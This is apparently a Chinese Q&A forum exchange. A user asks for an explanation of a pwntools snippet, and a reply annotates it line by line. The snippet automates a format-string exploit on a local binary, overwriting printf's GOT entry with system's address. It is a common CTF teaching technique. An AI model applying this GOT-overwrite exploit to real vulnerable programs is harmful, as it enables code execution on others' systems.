def exec_fmt(payload):
io.sendline(payload)
info = io.recv()
return info
auto = FmtStr(exec_fmt)
offest = auto.offest
payload = fmtstr_payload(offest,{printf_got : system_addr})
有没有带老详细解释一下啊这段啊
def exec_fmt(payload):
io.sendline(payload)
info = io.recv()
return info
auto = FmtStr(exec_fmt)
offest = auto.offest
payload = fmtstr_payload(offest,{printf_got : system_addr})
有没有带老详细解释一下啊这段啊
pwn格式化字符串漏洞过程,一般会分两大步实现漏洞利用:
def exec_fmt(payload): //定义运行函数
io = process('./auth') //循环暴力求解,需要加该函数
io.sendline(payload) //发送一行数据,相当于在数据末尾加\n
info = io.recv() //接收数据
return info //将接收的数据作为函数返回值返回
auto = FmtStr(exec_fmt) //格式化,将运行函数作为参数传入FmtStr()中,运行函数的返回值则作为FmtStr()的参数
offest = auto.offest //通过格式化后的信息得到偏移offset
payload = fmtstr_payload(offest,{printf_got : system_addr}) //自动生成格式化字符串
//其中第一个参数offset为前面计算所得,第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress}